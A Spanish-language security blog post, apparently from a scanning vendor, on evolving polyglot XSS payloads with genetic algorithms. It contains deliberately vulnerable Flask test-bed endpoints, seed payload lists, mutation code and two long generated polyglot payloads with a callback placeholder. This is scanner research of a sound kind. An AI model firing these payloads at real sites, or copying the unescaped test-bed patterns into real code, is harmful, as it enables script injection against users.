Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Cómo encontrar payloads XSS políglotas sobrehumanos con algoritmos genéticos

Este artículo es un análisis técnico en profundidad de cómo pueden aprovecharse los algoritmos genéticos para crear payloads XSS políglotas sobrehumanos.

Resumen

Este artículo es un análisis técnico en profundidad de cómo pueden aprovecharse los algoritmos genéticos para crear payloads XSS políglotas sobrehumanos.

Comenzamos destacando la importancia de detectar vulnerabilidades XSS y los desafíos a los que se enfrentan las soluciones automatizadas para probar por completo aplicaciones reales en un tiempo razonable; a continuación, un análisis técnico en profundidad del uso de algoritmos genéticos para crear payloads políglotas.

La parte final del artículo muestra ejemplos de los payloads generados y analiza áreas de mejora futura.

Cross-site scripting (XSS)

El cross-site scripting (XSS) es una clase de vulnerabilidad que afecta a las aplicaciones web. También concierne a las aplicaciones móviles creadas con frameworks multiplataforma de javascript, como Cordova o Ionic, y a las aplicaciones integradas en navegadores.

H1
Estadísticas de Hacker One

Según el «Trends and Security report» de Hacker One, el XSS es la vulnerabilidad que más se notifica. También figura en el OWASP Top 10 de riesgos de seguridad desde su inicio en 2003.

OWSP
OWASP Top 10

Además de lo extendidas que están las vulnerabilidades XSS, su impacto puede tener consecuencias graves. Por ejemplo, un XSS en una consola de nube, como la de AWS, puede conducir a la ejecución remota de código en una instancia de EC2. Un XSS en Google Playstore puede conducir a la instalación de una aplicación maliciosa en el dispositivo móvil del usuario objetivo.

El XSS también ha sido utilizado por atacantes patrocinados por estados y por organizaciones criminales para rastrear la ubicación de disidentes y denunciantes o para desenmascarar su identidad real.

Fuentes:

Al mismo tiempo, la explotación del XSS es difícil de detectar. Las soluciones de protección como WAF o RASP son ineficaces, hasta el punto de que Chrome XSS Auditor acabó siendo retirado por la abundancia de elusiones conocidas.

Los XSS no solo son comunes, sino que su impacto puede ser devastador y su explotación en el mundo real es difícil de detectar.

Cómo detectar XSS

El XSS se presenta de distintas formas. Existen XSS reflejados, persistentes, basados en DOM y basados en postMessage.

La entrada de un XSS puede provenir de la ruta, los parámetros, el fragmento de la URL, la cookie o el referrer. Puede inyectarse desde un frame padre o desde un iframe hijo.

Los enfoques estáticos para detectar vulnerabilidades XSS rara vez son eficaces debido a la naturaleza altamente dinámica del lenguaje Javascript. Esto se ve agravado por los transpiladores, minificadores y ofuscadores de Javascript, que aprovechan la naturaleza dinámica del lenguaje por razones de rendimiento y de ofuscación.

JS
JS minificado

La forma más eficaz de identificar vulnerabilidades XSS es el análisis dinámico, que puede potenciarse aún más con distintas formas de rastreo de la ejecución, como el rastreo de taint con trusted-types, el hooking de funciones o el rastreo de cadenas de bajo nivel de Chrome.

Detectar XSS con análisis dinámico es sencillo. Consiste en inyectar un payload funcional que active un callback que indique el éxito de la inyección.

Detección dinámica

La implementación de Ostorlab se apoya en Chrome para renderizar y probar el XSS. Usar un navegador completo permite admitir de forma inmediata aplicaciones con un uso intensivo de javascript, como las SPA (Single Page Application) creadas con frameworks como React, Angular o Vue.js.

Chrome se inicia en modo headless con una larga lista de flags para optimizar el rendimiento, como desactivar ciertas funciones pensadas para personas y ciertas funciones de seguridad que podrían afectar al resultado del análisis.

A continuación se muestran ejemplos de flags que se pasan a chrome:

'--no-default-browser-check',
'--no-first-run',
'--disable-client-side-phishing-detection',
'--disable-component-extensions-with-background-pages',
'--disable-default-apps',
'--disable-extensions',
'--mute-audio',
'--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows',
'--disable-features=ScriptStreaming',
'--disable-hang-monitor',
'--disable-ipc-flooding-protection',
'--disable-notifications',
'--disable-popup-blocking',
'--disable-prompt-on-repost',
'--disable-renderer-backgrounding',
'--js-flags=--random-seed=XXXXX,
'--use-gl=swiftshader',
'--disable-background-networking',
'--disable-breakpad',
'--disable-component-update',
'--disable-domain-reliability',
'--disable-sync',
'--metrics-recording-only'

Una vez que chrome está en ejecución, se inician muchas sesiones de prueba simultáneas que inyectan un payload en cada entrada objetivo.

Un payload es similar a <svg onload={callback}>.

El callback tiene múltiples implementaciones: puede ser una función de Javascript que envía una solicitud al servidor, un cuadro de alerta o un mensaje de consola.

La implementación de Ostorlab se apoya en los eventos de consola para notificar la presencia de un XSS. Otros enfoques han mostrado rarezas al sobrecargar el callback con cualquier lógica de javascript, lo que puede hacer que el código se eleve (hoisting) y se añada al final de la cola de javascript.

La cola suele estar sobrecargada de eventos causados por el fuzzer de XSS y puede provocar que el XSS se pase por alto si se sale de la página antes de vaciar por completo la cola.

Los mensajes de consola los envía directamente Chrome y pueden interceptarse mediante el Chrome Debug protocol.

Sin embargo, la consola ha quedado obsoleta en favor de un sustituto más potente, que ofrece una funcionalidad largamente esperada, el rastreo de la pila:

El dilema del millón de payloads

El talón de Aquiles de las pruebas dinámicas de XSS es el dilema del millón de payloads.

El XSS ocurre en distintos contextos del lado del cliente: puede darse en una etiqueta a, en una etiqueta div, en un atributo, en su contenido. Puede tener una limitación de tamaño, una limitación de caracteres, o puede deberse a la inyección de un objeto JSON especializado.

A continuación se muestran ejemplos de contextos de XSS:

@app.route("/test_bed/html_element")
def test_bed_html_element():
   return '''<div>{inject}</div>'''

@app.route("/test_bed/js_html_element")
def test_bed_js_html_element():
   return '''
       <div id='elmtId'></div>
       <script>
       window.onload = () => { {
           const payload = decodeURIComponent(window.location.hash.substr(1));
           document.getElementById('elmtId').innerHTML = payload;
       }}
       </script>'''

@app.route("/test_bed/html_attribute_value_double_quoted")
def test_bed_html_attribute_value_double_quoted():
   return '''<div class="{inject}">content</div>'''

@app.route("/test_bed/html_attribute_value_single_quoted")
def test_bed_html_attribute_value_single_quoted():
   return '''<div class='{inject}'>content</div>'''

@app.route("/test_bed//html_attribute_value_not_quoted")
def test_bed_html_attribute_value_not_quoted():
   return '''<div class={inject}>content</div>'''

@app.route("/test_bed/html_attribute_name")
def test_bed_html_attribute_name():
   return '''<div {inject}='class'>content</div>'''

@app.route("/test_bed/script_element")
def test_bed_script_element():
   return '''<script>{inject}</script>'''

@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
   return '''
       <script id='elmtId'></script>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').innerHTML = payload;
       </script>'''

@app.route("/test_bed/script_element")
def test_bed_script_element():
   return '''<script>{inject}</script>'''

@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
   return '''
       <script id='elmtId'></script>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').innerHTML = payload;
       </script>'''

@app.route("/test_bed/script_double_quoted")
def test_bed_script_double_quoted():
   return '''<script>var hello="{inject}";</script>'''

@app.route("/test_bed/script_single_quoted")
def test_bed_script_single_quoted():
   return '''<script>var hello='{inject}';</script>'''

@app.route("/test_bed/iframe_src")
def test_bed_iframe_src():
   return '''<iframe src="{inject}"></iframe>'''

@app.route("/test_bed/js_iframe_src")
def test_bed_js_iframe_src():
   return '''
       <iframe id='elmtId'></iframe>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').setAttribute('src', payload);
       </script>'''

@app.route("/test_bed/html_comment")
def test_bed_html_comment():
   return '''<!-- {inject} -->'''

@app.route("/test_bed/textarea_element")
def test_bed_textarea_element():
   return '''<textarea>{inject}</textarea>'''

Hagamos unas cuentas básicas para entender el alcance del problema.

Imaginemos que queremos probar 30 contextos de inyección (el testbed de Ostorlab tiene más de 50 contextos de inyección y seguimos añadiendo nuevos). Imaginemos también que probaríamos, de media, solo 20 puntos de inyección:

  • Ruta /{here}/{here2}/{here3}
  • Argumento de URL /a/b/c?q={here}&{here}=test
  • Fragmento a/b/c#{here}
  • Cookies Cookile: {here}={here}
  • Cabeceras {here}: {here}\r\n
  • Parámetros del cuerpo {here}={here}&{here}={here}
  • Referer Referer: {here}
  • Inyección en el padre del iframe

Y que queremos probar cada página: una aplicación web como Uber, solo en las partes no autenticadas, tiene más de 120k páginas, y el sitio web institucional de un banco como ING tiene más de 7k páginas.

La prueba con máquinas virtuales paralelas de alto rendimiento sobre un sitio web que pueda gestionar un QPS (Queries Per Second) elevado sería:

  • 30 payloads
  • 20 puntos de inyección
  • 20 segundos por prueba entre la carga, la ejecución, la activación de eventos de clic y la ejecución del callback
  • 100 instancias en paralelo

La prueba de Uber requeriría 72M de payloads y 166 días para completarse; la de ING requeriría 4.2 M de solicitudes y tardaría 9 días en completarse.

req
Solicitud

Probar cada página, en cada entrada, para cada vulnerabilidad, cubriendo cada contexto, requiere millones de solicitudes, lo que exige días, si no semanas, para completarse.

Payloads políglotas

Para reducir el número de solicitudes necesarias para probar una aplicación por completo, combinar varios contextos de inyección en un único payload es una optimización atractiva.

Por ejemplo, sustituir 30 contextos por un único payload nos permitirá pasar de 166 días de pruebas a 5 días en el caso de Uber y de 9 días de pruebas a 7 horas.

El payload políglota es un tema conocido entre los evaluadores de seguridad, con competiciones para crear los de mejor rendimiento:

polyglot
Políglota

Aunque ya existen muy buenos payloads disponibles en línea, a estos les faltan contextos de los frameworks modernos de javascript, así como contextos móviles.

El otro problema de los payloads públicos es que resuelven el problema de maximizar la cobertura con una sola solicitud. Sin embargo, varios contextos son incompatibles entre sí y, por tanto, se necesitan al menos 2 payloads para tener una cobertura completa, algo que los payloads públicos nunca abordan.

La creación de estos payloads es un problema difícil y que lleva mucho tiempo, que algunos asocian con la brujería, ya que es muy difícil razonar sobre cómo funciona un determinado payload.

Sopesando los beneficios y los desafíos de crear payloads políglotas, ¿podemos automatizar su creación? ¿Y podemos superar a los existentes?

Generación automatizada de payloads

Para automatizar la creación de payloads políglotas, una solución que se nos ocurrió fue la de los algoritmos genéticos.

El uso de algoritmos genéticos para la generación creativa de entradas no es una novedad en las herramientas de seguridad. Los algoritmos genéticos ya impulsan varios fuzzers de binarios como AFL y HonggFuzz.

American Fuzzy Lop es un fuzzer de fuerza bruta combinado con un algoritmo genético guiado por instrumentación extremadamente sencillo pero sólido como una roca. Utiliza una forma modificada de cobertura de aristas para detectar sin esfuerzo cambios sutiles, a escala local, en el flujo de control del programa.

Los algoritmos genéticos se inspiran en el proceso de selección natural, que pertenece a la clase más amplia de los algoritmos evolutivos (EA). Los algoritmos genéticos se utilizan habitualmente para generar soluciones de alta calidad a problemas de optimización y búsqueda, apoyándose en operadores de inspiración biológica como la mutación, el cruce y la selección.

Los algoritmos genéticos son sencillos de implementar: se componen de iteraciones repetibles que se detienen al encontrar una solución o tras un número fijo de iteraciones. La implementación para nuestro problema es la siguiente:

GA
Genético

  • 1.ª fase, la población: cada iteración comienza con una población. La población inicial, en nuestro caso, es una lista de payloads que cubren todos los contextos de nuestro testbed. Se realizaron varios experimentos con payloads simples y pequeños; en otros se añadieron a la mezcla payloads de alto rendimiento.
  • 2.ª fase, la evaluación: esta fase consiste en probar cada payload en el testbed y enumerar cada uno de los casos de prueba cubiertos.
  • 3.ª fase, la selección: consiste en encontrar los payloads de mejor rendimiento. Esto puede hacerse con distintos criterios de selección, como el número de contextos cubiertos, el tamaño del payload, una proporción ponderada de contexto por tamaño, etc.
  • 4.ª fase, la mutación y el cruce: consiste en generar una nueva población a partir de las existentes. Se trata de un conjunto de transformaciones como la inyección de tokens, la inversión de caracteres, el truncamiento, la concatenación parcial, etc.

Averiguar la fórmula exacta de cada paso del algoritmo fue un proceso de ensayo y error.

Testbed

El testbed se compone de un conjunto de endpoints vulnerables que representan distintos tipos de XSS, como DOM, reflejado, almacenado y postMessage. El testbed implementa distintos tipos de manipulación de entradas, como la codificación de URL y el escape de html, y admite distintos tipos de puntos de inyección.

A cada contexto se le asignó un peso, según su prevalencia. El peso se asignó a partir de las aportaciones de personas expertas en el tema del XSS.

Población inicial

Se realizaron varios experimentos con distintos conjuntos de poblaciones iniciales.

El uso de payloads conocidos de alto rendimiento se mejoró a menudo con rapidez para incluir otros contextos, pero también se estancó pronto en un máximo local.

El uso de payloads simples con cobertura limitada convergió lentamente hacia payloads de mayor rendimiento, pero los resultados fueron novedosos e inesperados.

_PAYLOADS = (
   "<svg/onload={callback}//>",
   "\" onclick={callback} a=\"",
   "' onclick={callback} a='",
   "a onclick={callback} ",
   "'><svg onload={callback}><b id='",
   "--><svg/onload={callback}//>",
   "</textarea><svg/onload={callback}//>",
   "</title><svg/onload={callback}//>",
   "</style><svg/onload={callback}//>",
   "*/</style><svg/onload={callback}//><style>/*",
   "{callback};",
   "\"-{callback}-\"",
   "'-{callback}-'",
   "</script><script>{callback};",
   "%0a{callback};",
   "*/{callback};/*",
   "*/{callback};/*",
   "{callback}",
   "\\x3csvg onload={callback}\\x3e",
   "a/;{callback};//",
   "a onclick={callback} ",
   "a\" onclick={callback} a=\"",
   "a' onclick={callback} a='",
   "javascript:{callback}",
   "';{callback};//",
   "\";{callback};//",
   "`;{callback}//",
   "<svg onload={callback}>",
   '''"'-function(){ {{callback} }}()-">\"><scrIpt>{callback}</scrIpt><aUdio src=x oNerror={callback}><"-'-function(){ {{callback} }}()"''',
   '''jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk={callback} )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd={callback}//>\x3e''',
)

Selección

Las fases de selección consisten en elegir a los elementos más aptos, que alimentarán la creación de una nueva población.

Se realizaron varios experimentos con distintas funciones de aptitud, como seleccionar los payloads más cortos o los de mayor rendimiento según el número de contextos cubiertos, incluyendo el tamaño del payload. El peso del contexto se utilizó para asignar una puntuación a cada payload.

Los resultados han mostrado que el algoritmo de aptitud ingenuo tuvo un mal rendimiento, mientras que las funciones que incorporan varios factores ofrecieron mejores soluciones.

Cruce y mutación

Las operaciones de cruce y mutación se adaptaron al problema. Por ejemplo, se creó una lista de tokens para utilizarla en el paso de aumento.

La poda y el cruce se realizaron con cuidado para garantizar que no afectaran a la ubicación del callback.

Las mutaciones utilizadas siguieron siendo simples y demostraron ser eficaces para generar soluciones novedosas.

TOKENS = (
   ';',
   ',',
   '/',
   '/*',
   '"',
   '\'',
   '//',
   '*/',
   '/**/',
   'javascript:',
   '-',
   '`',
   ' ',
   '(',
   ')',
   '</',
   '\n',
   '%0D%0A',
   'a',
   'style',
   'button',
   'title',
   'template',
   'input',
   'title',
   'textarea',
   'script',
   'iframe',
   'frameset',
   'noscript',
   'noembed',
   'template',
   'svg',
   'audio',
   'video',
   'source',
   '<!--',
   '-->',
   '\x3c',
   '\x3e',
   '{callback}',
   'onload=',
   'onerror=',
   'href=',
   'formaction=',
   'src=',
   'onfocus=',
   'onblur=',
   'poster=',
   'autofocus',
   'srcdoc=',
   'function(){ {{callback} }}()',
   '()=>{callback}',
)
def _mutate_with_evolution(self):
   for individual in self._population:
       for _ in range(self._repeated_extra_tokens):
           extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
           self._new_population.add(individual + ''.join(extra_tokens))
           extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
           self._new_population.add(''.join(extra_tokens) + individual)

def _mutate_with_flips(self):
   for individual in self._population:
       separations = re.split('{callback}', individual)
       separation = random.choice(separations)
       if separation:
           self._new_population.add(individual.replace(separation, random.choice(TOKENS), 1))

Chrome
Chrome

Durante el paso de mutación y cruce, algunos payloads se descartaron, por ejemplo por superar un límite de tamaño.

Un inconveniente de los algoritmos genéticos es la dificultad para reproducir resultados pasados. El factor de aleatoriedad de las operaciones de mutación y cruce hace que cada experimento genere resultados distintos. Para garantizar que el experimento sea reproducible, es necesario inicializar con valores guardados todas las funciones de aleatoriedad.

Resultado

A continuación se muestran ejemplos de payloads de alto rendimiento; el primero usó como semilla un payload conocido de alto rendimiento que se mejoró ligeramente. El segundo se creó a partir de payloads simples.

Algunos payloads aprovechan comportamientos desconocidos del navegador Chrome, como, por ejemplo, que una etiqueta SVG incrustada en otra etiqueta SVG siga activando el callback de javascript.

javascript:{callback}//*/javascript:javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload={callback}onload={callback}//><svg onload={callback}><svg onload={callback}>*/</style><script>{callback}</script><style>
-{callback}//</style><svg/onload={callback}//>/**/{callback}//("-{callback}-"///,\'-{callback}-\'--><svg/onload={callback}>\\x3csvg onload={callback}\\x3e</textarea><svg/onload={callback}//>/**/{callback}//</script><script>{callback}//function(){ {{callback} }}()*/{callback}--><svg/onload={callback}//>

Futuro

El uso de este enfoque contra filtros XSS demostró resultados prometedores, pero aún requiere trabajo para adaptar las funciones de aptitud.

Otras áreas de mejora son el uso de algoritmos genéticos adaptativos para acelerar la convergencia hacia una solución de alto rendimiento y la exploración del uso del árbol de búsqueda de Monte Carlo.

La aplicación de este enfoque a conceptos similares para el fuzzing de aplicaciones en ejecución, como encontrar vulnerabilidades XSS que requieren una entrada personalizada, cosas como {action: ‘render’, payload: ‘injectme’ }, y el uso del rastreo de taint como bucle de retroalimentación.

Etiquetas:

xss, web, security